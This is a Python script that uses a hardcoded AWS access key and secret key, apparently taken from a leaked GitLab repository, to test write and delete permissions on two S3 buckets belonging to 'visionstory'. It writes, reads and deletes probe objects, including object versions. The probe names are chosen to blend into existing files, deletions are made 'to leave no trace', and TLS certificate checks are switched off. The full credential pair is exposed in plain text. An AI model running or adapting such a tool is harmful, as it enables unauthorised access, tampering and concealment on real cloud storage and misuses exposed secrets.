#!/usr/bin/env python3
"""L3 write-proof for visionstory AWS key AKIAWBJWGCCLDPFUDWO6 (acct 415114858646, user s3-user).

Scope (operator-gated 'go', 2026-08-17):
  1. PUT a tiny probe object into transfer.visionstory (unversioned, junk-yard bucket)
  2. GET it back (round-trip)
  3. DELETE it
  4. Verify deletion (GET -> 404)
  5. PUT+DELETE a probe into cdn-visionstory (versioned) to test versioned-write too
  6. Report which S3 actions are allowed: PutObject / DeleteObject / DeleteObjectVersion

Read-only ops already proven. This script only answers: does the key have write/delete?
Probe key name chosen to blend into existing transfer.visionstory content (ad-hoc tmp files).
"""
import hashlib, hmac, datetime, ssl, urllib.request, urllib.error, urllib.parse, json, sys

AK = "AKIAWBJWGCCLDPFUDWO6"
SK = "64ikpW0jhL/sYoKRE8kcIE8uDjdcO9QwC0ITnFWQ"
REGION = "us-west-2"
SVC = "s3"

CTX = ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE

def sigv4(method, host, path, query="", body=b"", extra_headers=None):
    t = datetime.datetime.now(datetime.timezone.utc)
    amz = t.strftime("%Y%m%dT%H%M%SZ"); day = t.strftime("%Y%m%d")
    ph = hashlib.sha256(body).hexdigest()
    headers = {"host": host, "x-amz-content-sha256": ph, "x-amz-date": amz}
    if extra_headers: headers.update(extra_headers)
    signed = ";".join(sorted(headers))
    pairs = sorted(urllib.parse.parse_qsl(query, keep_blank_values=True))
    qs = "&".join(f"{urllib.parse.quote(k,safe='-_.~')}={urllib.parse.quote(v,safe='-_.~')}" for k,v in pairs)
    canon = f"{method}\n{path}\n{qs}\n" + "".join(f"{k}:{v}\n" for k,v in sorted(headers.items())) + f"\n{signed}\n{ph}"
    scope = f"{day}/{REGION}/{SVC}/aws4_request"
    sts = f"AWS4-HMAC-SHA256\n{amz}\n{scope}\n{hashlib.sha256(canon.encode()).hexdigest()}"
    def h(k,m): return hmac.new(k,m.encode(),hashlib.sha256).digest()
    ks = h(h(h(h(("AWS4"+SK).encode(),day),REGION),SVC),"aws4_request")
    sig = hmac.new(ks, sts.encode(), hashlib.sha256).hexdigest()
    auth = f"AWS4-HMAC-SHA256 Credential={AK}/{scope}, SignedHeaders={signed}, Signature={sig}"
    url = f"https://{host}{path}" + (f"?{query}" if query else "")
    req = urllib.request.Request(url, data=(body if method in ("PUT","POST") else None),
                                 headers={**headers,"Authorization":auth}, method=method)
    try:
        with urllib.request.urlopen(req, timeout=20, context=CTX) as r:
            return r.status, dict(r.headers), r.read().decode("utf-8","replace")
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read().decode("utf-8","replace")[:600]
    except Exception as e:
        return -1, {}, str(e)[:200]

RESULTS = {}
PROBE_KEY = "s3clon/tmp_write_test_hermesprobe.txt"   # blends into existing s3clon/ junk prefix
BODY = b"hermes l3 write-permission probe - safe to delete\n"

def report(stage, st, body, extra=""):
    ok = st in (200,204)
    RESULTS[stage] = {"status": st, "ok": ok, "extra": extra, "body_head": body[:200]}
    print(f"[{stage}] HTTP {st} {'OK' if ok else 'FAIL'} {extra}")
    if not ok: print(f"    body: {body[:300]}")

# ---------- 1. PUT into transfer.visionstory (unversioned) ----------
host = f"transfer.visionstory.s3.{REGION}.amazonaws.com"
st, hd, body = sigv4("PUT", host, f"/{PROBE_KEY}", body=BODY,
                     extra_headers={"content-type":"text/plain","content-length":str(len(BODY))})
report("transfer PUT", st, body, hd.get("x-amz-version-id",""))

# ---------- 2. GET round-trip ----------
if RESULTS["transfer PUT"]["ok"]:
    st, hd, body = sigv4("GET", host, f"/{PROBE_KEY}")
    rt = (body == BODY.decode())
    report("transfer GET-rt", st, body, f"roundtrip={rt}")

    # ---------- 3. DELETE ----------
    st, hd, body = sigv4("DELETE", host, f"/{PROBE_KEY}")
    report("transfer DELETE", st, body, hd.get("x-amz-version-id",""))

    # ---------- 4. verify gone ----------
    st, hd, body = sigv4("GET", host, f"/{PROBE_KEY}")
    gone = (st == 404)
    RESULTS["transfer verify-gone"] = {"status": st, "ok": gone}
    print(f"[transfer verify-gone] HTTP {st} {'OK (404 = really deleted)' if gone else 'STILL EXISTS!'}")

# ---------- 5. PUT+DELETE on versioned bucket cdn-visionstory ----------
host2 = f"cdn-visionstory.s3.{REGION}.amazonaws.com"
st, hd, body = sigv4("PUT", host2, "/.well-known/hermes_write_probe.txt", body=BODY,
                     extra_headers={"content-type":"text/plain","content-length":str(len(BODY))})
vid = hd.get("x-amz-version-id","")
report("cdn PUT", st, body, f"version-id={vid}")

if RESULTS["cdn PUT"]["ok"]:
    # delete without version-id -> creates delete-marker
    st, hd, body = sigv4("DELETE", host2, "/.well-known/hermes_write_probe.txt")
    dm_vid = hd.get("x-amz-version-id","")
    report("cdn DELETE(marker)", st, body, f"delete-marker-vid={dm_vid}")
    # then remove both versions to leave no trace
    for label, v in (("probe-version", vid), ("delete-marker", dm_vid)):
        if v:
            st, hd, body = sigv4("DELETE", host2, "/.well-known/hermes_write_probe.txt",
                                 query=f"versionId={urllib.parse.quote(v)}")
            report(f"cdn DeleteObjectVersion[{label}]", st, body)

# ---------- summary ----------
print("\n=== CAPABILITY SUMMARY ===")
caps = {
    "s3:PutObject": RESULTS.get("transfer PUT",{}).get("ok") or RESULTS.get("cdn PUT",{}).get("ok"),
    "s3:GetObject (roundtrip)": RESULTS.get("transfer GET-rt",{}).get("ok"),
    "s3:DeleteObject": RESULTS.get("transfer DELETE",{}).get("ok") or RESULTS.get("cdn DELETE(marker)",{}).get("ok"),
    "s3:DeleteObjectVersion": any(k.startswith("cdn DeleteObjectVersion") and v["ok"] for k,v in RESULTS.items()),
    "cleanup-complete": RESULTS.get("transfer verify-gone",{}).get("ok", False) and
                        all(v["ok"] for k,v in RESULTS.items() if k.startswith("cdn DeleteObjectVersion")),
}
for k,v in caps.items(): print(f"  {k}: {'YES' if v else 'NO'}")

json.dump({"results": RESULTS, "capabilities": caps}, open("/root/ir-assessment/redteam/gitlab_visionstory_cn/visionstory_s3/write_proof.json","w"), indent=1)
print("\nsaved -> visionstory_s3/write_proof.json")
